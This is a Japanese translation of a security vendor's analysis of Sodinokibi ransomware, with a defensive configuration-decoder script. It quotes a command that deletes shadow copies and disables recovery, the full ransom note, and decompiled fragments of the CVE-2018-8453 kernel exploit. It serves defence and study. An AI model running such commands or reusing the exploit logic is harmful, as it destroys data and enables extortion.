脅威のスポットライト:Sodinokibiランサムウェア

By The Cylance Threat Research Team

本ブログ記事は、2019年7月3日に米国で公開された抄訳版です。原文はこちらからご覧頂けます。

Sodinokibiは、マネージドセキュリティサービスプロバイダー(MSSP)を介して数千のクライアントが感染した新しいランサムウェアです。Sodinokibiは、2019年春にOracle WebLogicなどのリモートサービスの脆弱性もエクスプロイトし(CVE-2019-2725)、大規模なスパムキャンペーンを利用して拡散しました。

BlackBerry® Cylance®のプロフェッショナルサービスチームは、最近、攻撃者がMSSP経由でGo2Assistを利用して顧客の環境に侵入し、Passcapeのパスワード回復ツールをデプロイして認証情報を盗んでから、RDP経由でドメインコントローラーへのリモートデスクトップ接続を確立し、被害者のSymantecサーバーに接続してそれを無効化するという攻撃を観測しました。

本ブログでは、BlackBerry Cylanceの脅威リサーチチームによって明らかにされた、関連するSodinokibiサンプルについて、最新の解析をします。

技術的分析

ファイル

MD5

e6566f78abf3075ebea6fd037803e176

SHA256

861bc212241bcac9f8095c8de1b180b398057cbb2d37c9220086ffaf24ba9e08

サイズ

160 KB (164,864 バイト)

ファイルタイプ

MS Windows(GUI)Intel 80386 32ビット用のPE32実行可能ファイル

エイリアス

Sodinokibi, Sodin, REvil

コンパイル時間

2019-06-10 15:29:32


機能

  • curve25519/Salsa20を使用したファイルの暗号化
  • curve25519/AES-256-CTRを使用した鍵の暗号化
  • 被害者の秘密鍵を暗号化するために2つの公開鍵を使用(おそらく、ファイルを個別に復号できる2つのエンティティがあることを意味する)
  • 暗号鍵、IV、URL用にAESベースの疑似乱数生成アルゴリズムを使用
  • 膨大なドメインリストを介したC2の難読化(1079ドメイン)
  • 非対称鍵スケジュールアルゴリズムによりC2の必要性を排除
  • 回復を不可能にしてボリュームシャドウコピーを削除
  • CVE-2018-8453をエクスプロイトして特権昇格を実行
  • "Heaven's Gate"の手法を用いて、(64ビットのオペレーティングシステム上の)32ビットプロセスで64ビットのエクスプロイトコードを実行
  • 言語コードに応じて特定のシステムでの実行を回避(主に旧ソビエト連邦の国に関連)

動作の概要

実行されると、Sodinokibiはハードコードされた名前Global\206D87E0-0E60-DF25-DD8F-8E4E7D1E3BF0を持つミューテックスを作成し、埋め込まれた設定を復号します。

この設定でexpパラメーターが設定されている場合、このマルウェアはSYSTEM権限を取得するためにCVE-2018-8453をエクスプロイトしようと試みます(詳細は「特権昇格」の項を参照)。 このエクスプロイトの実行が設定されていない場合、または試行に失敗した場合、このマルウェアは代わりに自身を管理者として再実行しようと試みます。

Sodinokibiはいくつかの基本システム情報を収集し、それらを生成された暗号化パラメーターとともにレジストリに保存します。設定でdbg オプションが設定されていない場合は、UI言語とキーボードレイアウトの値がチェックされ、次の言語コードのいずれかが使用されているシステムでは、このマルウェアは単に終了します。

コード

言語

0x818

ルーマニア語

0x419

ロシア語

0x819

ロシア語(モルドバ)

0x422

ウクライナ語

0x423

ベラルーシ語

0x425

エストニア語*

0x426

ラトビア語*

0x427

リトアニア語*

0x428

タジク語

0x429

ペルシャ語*

0x42B

アルメニア語

0x42C

アゼルバイジャン語

0x437

グルジア語

0x43F

カザフ語

0x440

キルギス語

0x442

トルクメン語

0x443

ウズベク語

0x444

タタール語

0x45A

シリア語

0x2801

アラビア語(シリア)

図1:除外される言語

* このマルウェアは、キーボードレイアウトの値がこれらの国に属し、OS言語の値がその他のいずれかの国に等しい場合にのみ終了します。

システム言語が除外される言語のいずれかではない場合、Sodinokibiはファイル暗号化ルーチンを起動する前に、設定でprc値によって指定されているすべてのプロセスを強制終了し、ボリュームシャドウコピーを削除します。


cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures

図2:ボリュームシャドウコピーを削除して回復を不可能にするコマンドライン

このランサムウェアは、次に、設定の例外リストに含まれているファイルとフォルダーを除き、ローカルドライブ上にあるすべてのファイルを暗号化します。実行可能ファイルが-nolan コマンドラインパラメーターを指定して実行されていない限り、このマルウェアはネットワーク共有上のファイルの暗号化も試行します。ファイル暗号化ルーチンについての詳細は、「ファイルの暗号化」の項で説明します。

各暗号化ファイルの名前は、レジストリのrnd_ext値に格納されている、生成済みの疑似乱数拡張子が付加されて変更されます。READMEファイルが各ディレクトリにドロップされ、ランサムメッセージが記述された背景の壁紙が設定されます。


図3:感染したマシンのデスクトップの壁紙とREADMEファイル

READMEファイルの内容とランサムメッセージも同様に設定で指定されています。   攻撃者が要求する鍵は、AESで暗号化されbase64でエンコードされた、被害者のシステム情報と生成された暗号化メタデータ(ファイルの復号鍵を導出するために必要)の組み合わせです(詳細は「ファイルの暗号化」の項を参照)

マルウェアの動作に影響する他の設定パラメーターとして、wipe(これを設定すると、wfldにリストされているフォルダー内のすべてのファイルがゼロアウトされて削除される)と、net (これを設定すると、ランサムウェアは被害者のシステム情報を設定のdmn値にリストされているさまざまなドメインにブロードキャストする)があります。

文字列の暗号化と設定

すべての文字列は可変長のランダム鍵を使用してRC4で暗号化され、使用前にオンザフライで復号されます。鍵は文字列ごとに異なり、バイナリ内の暗号化された文字列の前に格納されます。

.text:00401B1D                 lea     eax, [ebp+var_4]
.text:00401B20                 push    eax             ; out buffer
.text:00401B21                 push    3               ; string len
.text:00401B23                 push    0Eh             ; RC4 key len
.text:00401B25                 push    923h            ; RC4 key offset
.text:00401B2A                 push    offset encstr_1 ; 暗号化された文字列テーブル
.text:00401B2F                 call    decrypt_string  ; "exp"

図4:文字列の復号

設定データもRC4で暗号化され、32バイトの復号鍵、設定チェックサム、および長さ値とともに、バイナリの.relocセクションの前にあるランダムに命名されたセクションに格納されています。

.s7bz:0041E000 ; Section 4. (virtual address 0001E000)
.s7bz:0041E000 ; Virtual size                  : 0000C800 (  51200.)
.s7bz:0041E000 ; Section size in file          : 0000C800 (  51200.)
.s7bz:0041E000 ; Offset to raw data for section: 0001B600
.s7bz:0041E000 ; Flags C0000040: Data Readable Writable
.s7bz:0041E000 ; Alignment     : default
.s7bz:0041E000 ; 
===========================================================================
.s7bz:0041E000
.s7bz:0041E000 ; Segment type: Pure data
.s7bz:0041E000 ; Segment permissions: Read/Write
.s7bz:0041E000 _s7bz           segment para public 'DATA' use32
.s7bz:0041E000                 assume cs:_s7bz
.s7bz:0041E000                 ;org 41E000h
.s7bz:0041E000 cfg_rc4key      db 68h, 38h, 35h, 72h, 68h, 54h, 56h, 58h, 61h, 76h, 4Dh, 45h
.s7bz:0041E000                                         ; DATA XREF: decrypt_config+40↑o
.s7bz:0041E000                 db 6Ah, 58h, 4Ah, 78h, 75h, 58h, 4Dh, 35h, 50h, 70h, 4Dh, 71h
.s7bz:0041E000                 db 42h, 4Ah, 38h, 76h, 38h, 4Dh, 4Dh, 51h
.s7bz:0041E020 cfg_hash        dd 0AE445D33h           ; DATA XREF: decrypt_config+17↑r
.s7bz:0041E024 cfg_len         dd 25742                ; DATA XREF: decrypt_config+1↑r
.s7bz:0041E024                                         ; decrypt_config+24↑r ...
.s7bz:0041E028 enc_cfg         db 0B5h, 14h, 0C7h, 67h, 5Dh, 0C9h, 0EDh, 29h, 0CAh, 73h, 7Bh, 7
.s7bz:0041E028                                         ; DATA XREF: decrypt_config+7↑o
.s7bz:0041E028                 db 22h, 0AAh, 0E4h, 12h, 73h, 3Bh, 8Dh, 0A6h, 0C2h, 6Fh, 16h, 2Ch

図5:ランダムに命名されたセクション内の暗号化された設定とRC4鍵

復号された設定データは、JavaScript Object Notation(JSON)を使用して記述されます。

{
  "dbg": false,
  "dmn": "",
  "exp": true,
  "fast": true,
  "img": "",
  "nbody": "",
  "net": true,
  "nname": "{EXT}-readme.txt",
  "pid": "33",
  "pk": "/SvNLPYVd04yhjQWFntNHZ0bsHYz2DzRIF+HjkQuTmE=",
  "prc": [
    "sqlagent.exe",
    "sqbcoreservice.exe",
    "mysqld_opt.exe",
    "synctime.exe",
    "excel.exe",
    "thebat64.exe",
    "onenote.exe",
    "tbirdconfig.exe",
    "powerpnt.exe",
    "xfssvccon.exe",
    "oracle.exe",
    "infopath.exe",
    "mydesktopqos.exe",
    "dbsnmp.exe",
    "sqlbrowser.exe",
    "mysqld.exe",
    "sqlservr.exe",
    "wordpad.exe",
    "thebat.exe",
    "agntsvc.exe",
    "thunderbird.exe",
    "encsvc.exe",
    "ocomm.exe",
    "winword.exe",
    "msaccess.exe",
    "dbeng50.exe",
    "firefoxconfig.exe",
    "isqlplussvc.exe",
    "ocssd.exe",
    "visio.exe",
    "mydesktopservice.exe",
    "sqlwriter.exe",
    "ocautoupds.exe",
    "mysqld_nt.exe",
    "msftesql.exe",
    "mspub.exe",
    "outlook.exe",
    "steam.exe"
  ],
  "sub": "331",
  "wfld": [
    "backup"
  ],
  "wht": {
    "ext": [
      "shs",
      "bin",
      "msp",
      "hta",
      "mod",
      "wpx",
      "msi",
      "sys",
      "ics",
      "cmd",
      "rtp",
      "nomedia",
      "scr",
      "cur",
      "prf",
      "msu",
      "nls",
      "icl",
      "ps1",
      "bat",
      "lnk",
      "theme",
      "adv",
      "deskthemepack",
      "diagcab",
      "msc",
      "lock",
      "key",
      "ocx",
      "hlp",
      "msstyles",
      "mpa",
      "diagcfg",
      "icns",
      "rom",
      "dll",
      "com",
      "idx",
      "cab",
      "exe",
      "spl",
      "drv",
      "themepack",
      "diagpkg",
      "ani",
      "386",
      "ico",
      "ldf",
      "cpl"
    ],
    "fld": [
      "boot",
      "msocache",
      "programdata",
      "$windows.~ws",
      "tor browser",
      "program files (x86)",
      "$recycle.bin",
      "google",
      "$windows.~bt",
      "intel",
      "windows",
      "windows.old",
      "mozilla",
      "system volume information",
      "perflogs",
      "application data",
      "appdata",
      "program files"
    ],
    "fls": [
      "desktop.ini",
      "autorun.inf",
      "ntldr",
      "bootsect.bak",
      "ntuser.dat",
      "boot.ini",
      "thumbs.db",
      "bootfont.bin",
      "ntuser.dat.log",
      "iconcache.db",
      "ntuser.ini"
    ]
  },
  "wipe": true
}

図6:JSON設定ファイル


All of your files are encrypted!

Find {EXT}-readme.txt and follow instructions

図7:設定に含まれるBase64でデコードされたimgの値

---=== Welcome. Again. ===---

[+] Whats Happen? [+]

Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion {EXT}.
By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).

[+] What guarantees? [+]

Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.
To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee.
If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money.

[+] How to get access on website? [+]

You have two ways:

1) [Recommended] Using a TOR browser!
  a) Download and install TOR browser from this site: https://torproject.org/
  b) Open our website: hxxxp:// aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd [dot] onion/{UID}

2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this:

  a) Open your any browser (Chrome, Firefox, Opera, IE, Edge)
  b) Open our secondary website: hxxxp:// decryptor [dot] top/{UID}

Warning: secondary website can be blocked, thats why first variant much better and more available.

When you open our website, put the following data in the input form:
Key:

{KEY}

Extension name:

{EXT}

-----------------------------------------------------------------------------------------

!!! DANGER !!!
DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data.
!!! !!! !!!

ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere.
!!! !!! !!!

図8:設定に含まれるBase64でデコードされたnbodyの値

キー

タイプ

説明

prc

文字列の配列

強制終了するプロセスの名前

dmn

文字列

セミコロン区切りのドメイン名のリスト

img

文字列(Base64エンコード)

デスクトップの壁紙に表示するメッセージ

pid

文字列(整数)

アクターID

sub

文字列(整数)

キャンペーンID

fast

ブール値

高速モードの有効化(各ファイルの最初の1MBのみを暗号化)

wfld

文字列の配列

消去するフォルダー

wht

オブジェクト

ホワイトリスト

wht.fld

文字列の配列

暗号化のホワイトリストに含めるフォルダー

wht.fls

文字列の配列

暗号化のホワイトリストに含めるファイル

wht.ext

文字列の配列

暗号化のホワイトリストに含めるファイル拡張子

dbg

ブール値

デバッグモード。設定されている場合は、キーボードレイアウトをチェックしない

exp

ブール値

特権昇格エクスプロイトの有効化(CVE-2018-8453)

pk

文字列(Base64エンコード)

攻撃者の公開暗号鍵(256ビット)

net

ブール値

ドメインにHTTP POSTリクエストを送信

wipe

ブール値

trueの場合、指定フォルダー内のファイルを消去

nname

文字列(Base64エンコード)

Readmeファイルの名前

nbody

文字列(Base64エンコード)

Readmeファイルの内容

図9:設定フィールドの詳細

当社では、現在知られているSodinokibiの各バージョンで機能する設定データのデコーダーを作成しました。このスクリプトには、Pythonのscandir モジュールとpefileモジュールが必要です。

"""Extract Sodinokibi ransomware configuration from a given exe/folder of exes"""
import os
import sys
import scandir

import pefile
import string
import struct
import json

def
rc4(key, enc_data):
    dec = ""
    enc = []
    enclen = len(enc_data)

    keylen = len(key)
    rc4key = [ord(c) for c in key]
    for i in range(enclen):
        enc.append(ord(enc_data[i]))

    s = range(256)
    j = 0
    for i in range(256):
        j = (j + s[i] + rc4key[i % keylen]) % 256
        s[i], s[j] = s[j], s[i]

    i = 0
    j = 0
    keystream = []
    for i in range(enclen):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        s[i], s[j] = s[j], s[i]
        k = s[(s[i] + s[j]) % 256]
        keystream.append(k)

    for e, k in zip(enc, keystream):
        dec += chr(e ^ k)     

    return dec

def extract_sodinokibi_config(filename):
    print(filename)
    try:
        pe = pefile.PE(filename)

        section = pe.sections[3]
        data = section.get_data()
        enc_len = struct.unpack('I', data[0x24:0x28])[0]
        dec_data = rc4(data[0:32], data[0x28:enc_len + 0x28])

        print(json.dumps(json.loads(filter(lambda x: x in string.printable, dec_data)), indent=2, sort_keys=True))
    except Exception as e:
        print("ERROR - {}".format(e))

def main():
    if os.path.isdir(sys.argv[1]):
            for root, dirs, files in scandir.walk(sys.argv[1]):
                for file in files:
                    extract_sodinokibi_config(os.path.join(root, file))
    else:
        extract_sodinokibi_config(sys.argv[1])

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        pass

図10:設定データをデコードするPythonスクリプト

特権昇格

設定でexp(exploit)の値が"true"に設定されており、win32k.sysおよびwin32kfull.sysのファイルのタイムスタンプが2018/09/11-00:00:00より前の場合、このマルウェアはランサムウェアのルーチンを実行する前に、win32k.sysの脆弱性 (CVE-2018-8453)をエクスプロイトして特権昇格を実行し、SYSTEMに昇格しようと試みます。バイナリの.rdata セクション内にはエクスプロイトコードの32ビットおよび64ビットの両バージョンが保存されていて、システムアーキテクチャに応じて、これらのコード部分の一方が読み取り可能/書き込み可能/実行可能(RWX)メモリ領域にコピーされて実行されます。

次に、非常に興味深い処理が実行されます。32ビットアプリケーションであっても、Sodinokibiには32ビットと64ビットの両方のエクスプロイトコードが含まれています。64ビットシステム上で32ビットプロセスとして動作していることを検出すると、Sodinokibiは""Heaven's Gate" と呼ばれるめったに見受けられない技法を利用して64ビットモードに移行し、エクスプロイトコードの各部分を実行している間に繰り返し32ビット/64ビットモード間を切り替えます。実際の移行も興味深いもので、Sodinokibiは、32ビットモードから64ビットモードへの切り替えをトリガーするためにオペコードの途中を呼び出します(push 0x00cb0033)。

以下のコードでは、x86_to_x64関数によってスタック上でコードセレクター(CS)レジスターを保持します(x86モードの場合は0x23)。Heaven's_Gate関数を呼び出した後、値0x00CB0033がスタックにプッシュされ、次の呼び出し命令はpushオペコードの途中(0xCBバイトで始まり、retfオペコードに対応する)を呼び出します。

retfは通常のretオペコードとは異なり、リターンアドレスをスタックからポップするだけでなく、新しいCS値(この場合は0x33)もポップします。新しいCS値が配置されると、セグメントセレクターは、それがx64コードディスクリプターであると指定するよう設定されたビットを含む別のGDTエントリを指すようになり、最後の呼び出し命令の後は64ビットモードで実行が再開されます。64ビットモードから32ビットモードに戻る場合は、スタックで32ビットCS(0x23)を指定したretfとEIPを使用して、単に逆の操作を行います。

debug032:00075DF0 x86_to_x64 proc near
debug032:00075DF0 push    ebp
debug032:00075DF1 mov     ebp, esp
debug032:00075DF3 push    ebx
debug032:00075DF4 push    esi
debug032:00075DF5 push    edi
debug032:00075DF6 push    cs                       ; Preserve x86 CS
debug032:00075DF7 call    heavens_gate
debug032:00075DFC pop     edi
debug032:00075DFD pop     esi
debug032:00075DFE pop     ebx
debug032:00075DFF leave
debug032:00075E00 retn
debug032:00075E00 x86_to_x64 endp
debug032:00075E00
debug032:00075E01 heavens_gate:                          
debug032:00075E01 push    0CB0033h                 ; 0xCB = retf, 0x33 = new CS (x64)
debug032:00075E06 call    near ptr heavens_gate+3debug032:00075E0B inc     ecx                      ; Execution resumes in x64 mode

Figure 11: Heaven's Gate

x86とx64のどちらのコードパスを取るかに関係なく、また、x64コードははるかに多くのロードを必要とする(Sodinokibi用のインポートをウォークし、すべてのライブラリをロードして、すべてのインポートを解決しなければならない)にもかかわらず、x86とx64のエクスプロイトコードは両方とも、Kasperskyによる以前の調査と概ね一致して、ヒープ風水(heap feng shui)ルーチンと特定のクラス名に微妙な違いがあるものの比較的似た方法で機能します。

結局のところ、このエクスプロイトはKernelCallbackTableの関数(fnDWORD、fnNCDESTROY、fnINLPCREATESTRUCT)をフックすることによって機能します。


図12:KernelCallbackTable内のフック

このエクスプロイトコードは、最初に"sysshadow"という名前のウィンドウとスクロールバーを作成します。

int __stdcall CreateScrollBarWindowProc(HWND hWndParent, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
  LPVOID v1; // esi
  DWORD dwClassLong; // eax

  v1 = TlsGetValue(dwTlsIndex);
  if ( v1 )
  {
    if ( uMsg == 1 )
    {
      *((_DWORD *)v1 + 64) = CreateWindowExA(0, ”SCROLLBAR”, 0, 0x50000001u, 0, 0, 0, 0, hWndParent, 0, hInstance, 0);
      dwClassLong = GetClassLongA(hWndParent, GCL_STYLE);
      SetClassLongA(hWndParent, GCL_STYLE, dwClassLong | 0x20000);
    }
    else
    {
      if ( uMsg != 2 )
        return NtdllDefWindowProc_A(hWndParent, uMsg, wParam, lParam);
      PostQuitMessage(0);
    }
  }
  return 0;
}

図13:スクロールバーの作成

その後、このウィンドウの位置をfnINLPCREATESTRUCTフックで設定します。

int __stdcall fnINLPCREATESTRUCT_hook_x86(int a1)
{
  _DWORD *v1; // esi
  int v2; // ebx
  BOOL v3; // eax
  CHAR ClassName; // [esp+8h] [ebp-104h]

  v1 = TlsGetValue(dwTlsIndex);
  if ( v1 )
  {
    if ( a1 )
    {
      if ( GetCurrentThreadId() == v1[53] )
      {
        v2 = **(_DWORD **)(a1 + 24);
        if ( GetClassNameA(**(HWND **)(a1 + 24), &ClassName, 260) )
        {
          if ( !v1[65] )
          {
            if ( strcmpi(&ClassName, ”sysshadow”) )
            {
              if ( strcmpi(&ClassName, ” msctfime ui”) )
                return fnINLPCREATESTRUCT(a1);
              v3 = 1;
            }
            else
            {
              v1[65] = v2;
              v3 = v1[79] == 0;
            }
            if ( v3 )
              set_window_pos(v1);
          }
        }
      }
    }
  }
  return fnINLPCREATESTRUCT (a1);
}

図14:fnINLPCREATESTRUCTフック

fnDWORDフックは、スクロールバーに対してマウスの左クリックを発行することによってトリガーされます。


PostMessageA(*((HWND *)lpThreadParameter + 64), WM_LBUTTONDOWN, 1u, 1);
 


fnDWORDフック内から、スクロールバーは最終的に解放されます。

DWORD __stdcall fnDWORD_hook_x86(int a1)
{
  int v1; // ebx
  DWORD result; // eax
  _DWORD *v3; // esi
  HWND v4; // [esp-8h] [ebp-Ch]

  v1 = *(unsigned __int16 *)(a1 + 4);
  if ( (_WORD)v1 == 647 )
  {
    a1 = 0;
    return NtCallbackReturn(&a1, 12, 0);
  }
  v3 = TlsGetValue(dwTlsIndex);
  if ( !v3 )
    goto LABEL_14;
  result = GetCurrentThreadId();
  if ( result != v3[53] || !*((_BYTE *)v3 + 332) || v3[51] )
    goto LABEL_14;
  if ( !v3[80] || v1 != 31 )
  {
    if ( version_sth_0 < 16 && v1 == 6 )
      set_window_pos(v3);
    if ( v1 == 112 )
    {
      v4 = (HWND)v3[62];
      *((_BYTE *)v3 + 332) = 2;
      SetActiveWindow(v4);
      SendMessageA((HWND)v3[62], WM_SYSCOMMAND, SC_KEYMENU, 0);
      DestroyWindow((HWND)v3[64]);
      *((_BYTE *)v3 + 332) = 4;
    }
LABEL_14:
    result = fnDWORD(a1);
  }
  return result;
}

図15:fnDWORDフック

これにより、fnNCDESTROYフックに実行が移り、NtUserSetWindowFNIDの呼び出しによって、解放されたスクロールバーが誤って(解放ではなく)ボタンとしてマークされることになります。これにより、"sysshadow"ウィンドウは解放済みメモリへの参照を保持します。

_WORD *__stdcall fnNCDESTROY_hook_x86(_DWORD **a1)
{
    <snip>

    SendMessageA(v20, WM_CANCELMODE, 0, 0);
    v17 = (HWND *)(v4 + 681);
    do
    {
      SetClassLongW(*v17, GCL_MENUNAME, 0);
      v17 += 5;
      --v11;
    }
    while ( v11 );
    v18 = (HWND *)(v4 + 6825);
    v19 = 128;
    do
    {
      *(_DWORD *)(v4 + 8) = v23++;
      SetClassLongW(*v18, GCL_MENUNAME, v4);
      v18 += 4;
      --v19;
    }
    while ( v19 );
    result = v22;
    v1 = 1;
    v8 = v21;
  }
  if ( v8 == *(_DWORD *)(v4 + 260) && *result == (unsigned __int16)FNID_FREED && !*(_DWORD *)(v4 + 324) )
  {
    result = (_WORD *)NtUserSetWindowFNID(*(_DWORD *)(v4 + 244), FNID_BUTTON);
    *(_DWORD *)(v4 + 324) = result;
    v1 = 1;
  }
  if ( !v1 )
  {
    v3 = a1;
LABEL_26:
    result = (_WORD *)fnNCDESTROY(v3);
  }
  return result;
}

図16:fnNCDESTROYフック

次に、解放済みメモリを確保するために、スクロールバーでEVENT_OBJECT_DESTROYイベントが発生したときにwindowsイベントフックからヒープ風水がトリガーされます。

int __fastcall ntuser_thunked_menu_item_info(_DWORD *a1, int a2, int a3)
{
  int result; // eax
  int *v4; // edi
  int v5; // ebx
  int v6; // [esp-18h] [ebp-5Ch]
  MENUITEMINFOW sMenuItemInfo; // [esp+Ch] [ebp-38h]
  int v8; // [esp+3Ch] [ebp-8h]

  result = 0;
  v8 = a2;
  v4 = a1;
  if ( a3 )
  {
    if ( windows_10_version == 10 )
      v5 = ' ';
    else
      v5 = aDp8lDp8lDp8l_0[7 * windows_10_version + 6];
    j_memset(&sMenuItemInfo, 0, 48);
    sMenuItemInfo.cbSize = sizeof(MENUITEMINFOW);
    sMenuItemInfo.fMask = MIIM_ID;
    sMenuItemInfo.wID = a3 - v5;
    result = NtUserThunkedMenuItemInfo(v4[59], v4[73] + 9, 1, 0, (int)&sMenuItemInfo, 0);
    if ( result )
    {
      sMenuItemInfo.dwItemData = v8;
      v6 = v4[60];
      sMenuItemInfo.fMask = MIIM_DATA;
      result = NtUserThunkedMenuItemInfo(v6, 0, 1, 0, (int)&sMenuItemInfo, 0);
    }
  }
  return result;
}

図17:ヒープ風水コードの一部

解放済みメモリが確保されると、エクスプロイトは任意のカーネルメモリ読み取り/書き込みプリミティブを確立して操作します。これらのプリミティブを使用して、EPROCESS構造体からSystemプロセストークンを見つけてそれを独自のEPROCESS構造体にコピーし、ランサムウェアにSYSTEM特権を付与します。


エクスプロイト、ヒープ風水、およびトリガーメカニズムの複雑さを考慮し、BlackBerry Cylanceのリサーチャーは、これをさらに深く探求し、別のブログ記事の一部として取り上げるつもりです。

ファイルの暗号化

暗号化については、Sodinokibiはcurve25519実装に基づく非対称鍵交換方式と組み合わせて、対称アルゴリズム(ファイルにはSalsa20、レジストリ値およびC2ビーコンにはAES-256-CTR)を使用しています。

最初のステップで、被害者に対してメインのcurve25519鍵ペアが生成されます。このペアからの公開鍵は、後からファイルの暗号化用のSalsa20鍵を導出するために使用されます。秘密/公開鍵(ファイルの復号に必要)は、ハードコードされたシードを用いる非常に洗練されたAESベースのPRNGアルゴリズムを使用して開始され、CTRモードでAES-256を使用して暗号化され、レジストリに保存されます。このプロセスで使用されるAES鍵は、curve25519で生成された第2の鍵ペアの秘密鍵と、設定のpkセクションに格納されている攻撃者の公開鍵から導出された、共有秘密鍵のSHA3-256の総計です。

実際、このマルウェアでは、2つのバージョンの被害者の秘密鍵が保存されます。1つは、設定のpk 値から提供された公開鍵を使用して導出された鍵で暗号化され、もう1つは、バイナリの.dataセクションに格納されているハードコードされた公開鍵を使用して導出された鍵で暗号化されます。後に、これらの値は両方とも、暗号化された各ファイルに付加されます。これは、アフィリエイトによって暗号化されたファイルを復号できるようにするために、ハードコードされた公開鍵がマルウェア開発者によって「マスター鍵」として埋め込まれている可能性があることを示唆しています。 

.text:00402416 generate_keys:                          ; CODE XREF: generate_keys_set_reg_values+1A8↑j
.text:00402416                                         ; generate_keys_set_reg_values+1AE↑j ...
.text:00402416                 lea     eax, [ebp+victim_main_privkey]
.text:0040241C                 push    offset victim_main_pubkey
.text:00402421                 push    eax
.text:00402422                 call    generate_curve25519_keypair ; generate victim's main key pair
.text:00402427                 push    20h
.text:00402429                 pop     edi
.text:0040242A                 lea     eax, [ebp+encprivkey_metadata_1_len]
.text:0040242D                 mov     [ebp+victim_pubkey_len], edi
.text:00402430                 push    eax             ; out_len
.text:00402431                 push    edi             ; data_len
.text:00402432                 lea     eax, [ebp+victim_main_privkey]
.text:00402438                 mov     [ebp+attacker_pubkey_len], edi
.text:0040243B                 push    eax             ; datain
.text:0040243C                 push    offset affiliate_pubkey
.text:00402441                 call    curve25519_aes_encrypt ;
.text:00402441                                         ; generate victim's secondary key pair and derive
.text:00402441                                 &nbnbsp;       ; key for AES-256-CTR encryption using curve25519
.text:00402441                                         ; with priv key from this pair & pub key from cfg
.text:00402446                 mov     ebx, eax
.text:00402448                 lea     eax, [ebp+encprivkey_metadata_2_len]
.text:0040244B                 push    eax             ; out_len
.text:0040244C                 push    edi             ; data_len
.text:0040244D                 lea     eax, [ebp+victim_main_privkey]
.text:00402453                 push    eax             ; datain
.text:00402454                 push    offset master_pubkey
.text:00402459                 call    curve25519_aes_encrypt ;
.text:00402459                                         ; generate victim's tertiary key pair and derive
.text:00402459                                         ; key for AES-256-CTR encryption using curve25519
.text:00402459                                         ; with priv key from this pair & pub key from .data
.text:0040245E                 mov     esi, eax
.text:00402460                 lea     eax, [ebp+victim_main_privkey]
.text:00402466                 push    edi
.text:00402467                 push    eax.text:00402468                 call    memset_zero     ; remove victim's main private key from memory

図19:被害者の鍵の生成

Sodinokibiは、AESベースのPRNGアルゴリズムを使用して、暗号化されたファイルに追加するランダムな拡張子を生成します。また、CPUID 命令によって返される値のハッシュとボリュームシリアル番号を組み合わせて、一意の被害者IDも生成します。 次に、システム情報(ユーザー名、コンピューター名、TCP/IPドメイン、OSのバージョンと言語、CPUアーキテクチャ、ディスク空き領域など)を収集し、秘密鍵の暗号化と同じアルゴリズムを使用してそれらを暗号化します(ただし、ここでは、AES鍵を導出するために、.data セクションに含まれる別のハードコード公開鍵が使用されます)。

HKLM\SOFTWARE\recfgまたはHKCU\SOFTWARE\recfg鍵に次の情報が保存されます。

値名

タイプ

内容

0_key

REG_BIN

マスター鍵のメタデータ(バイナリの.dataセクションに格納されているハードコードされた鍵から導出されたAES鍵を使用して暗号化された、被害者のメイン秘密鍵を含む)

sk_key

REG_BIN

アフィリエイトの鍵のメタデータ(設定からのハードコードされた鍵から導出されたAES鍵を使用して暗号化された、被害者のメイン秘密鍵を含む)

pk_key

REG_BIN

被害者のメイン公開鍵

sub_key

REG_BIN

設定からの攻撃者の公開鍵

stat

REG_BIN

READMEファイル内で被害者の鍵として使用され、またPOSTリクエストのために使用される、(AESで暗号化された)被害者のマシン情報と暗号化メタデータ

rnd_ext

REG_SZ

暗号化されたファイル用のランダムな拡張子("."+ 5~10文字の英数字)

図20:Sodinokibiによって設定されるレジストリ値

図21:レジストリ設定の例

暗号化プロセスを高速化するために、SodinokibiはIO完了ポートを利用しています。IO完了ポートは、マルチプロセッサーシステムで複数の非同期I/Oリクエストを処理するためのWindowsスレッドモデルです。

.text:00402C76
.text:00402C76 ; =============== S U B R O U T I N E =======================================
.text:00402C76
.text:00402C76 ; Attributes: bp-based frame
.text:00402C76
.text:00402C76 read_encrypt_write_file_thread proc near
.text:00402C76                                         ; DATA XREF: encrypt_all_files+C↑o
.text:00402C76
.text:00402C76 CompletionKey   = dword ptr -0Ch
.text:00402C76 NumberOfBytesTransferred= dword ptr -8
.text:00402C76 Overlapped_then_cryptostruct= dword ptr -4
.text:00402C76 CompletionPort  = dword ptr  8
.text:00402C76
.text:00402C76                 push    ebp
.text:00402C77                 mov     ebp, esp
.text:00402C79                 sub     esp, 0Ch
.text:00402C7C                 push    esi
.text:00402C7D                 call    find_explorer_ImpersonateLoggedOnUser
.text:00402C82                 mov     esi, [ebp+CompletionPort]
.text:00402C85                 jmp     short GetQueuedCompletionStatus_loop
.text:00402C87 ; ---------------------------------------------------------------------------
.text:00402C87
.text:00402C87 encrypt_files:                          ; CODE XREF: read_encrypt_write_file_thread+AE↓j
.text:00402C87                 test    eax, eax
.text:00402C89                 jz      short PostQueuedCompletionStatus
.text:00402C8B                 push    0
.text:00402C8D                 push    [ebp+NumberOfBytesTransferred]
.text:00402C90                 push    [ebp+Overlapped_then_cryptostruct]
.text:00402C93                 call    adjust_file_offsets
.text:00402C98                 mov     ecx, [ebp+Overlapped_then_cryptostruct]
.text:00402C9B                 add     esp, 0Ch
.text:00402C9E                 mov     eax, [ecx+cryptostruct.io_completion_disposition]
.text:00402CA4                 sub     eax, 0
.text:00402CA7                 jz      short _0_read_file
.text:00402CA9                 sub     eax, 1
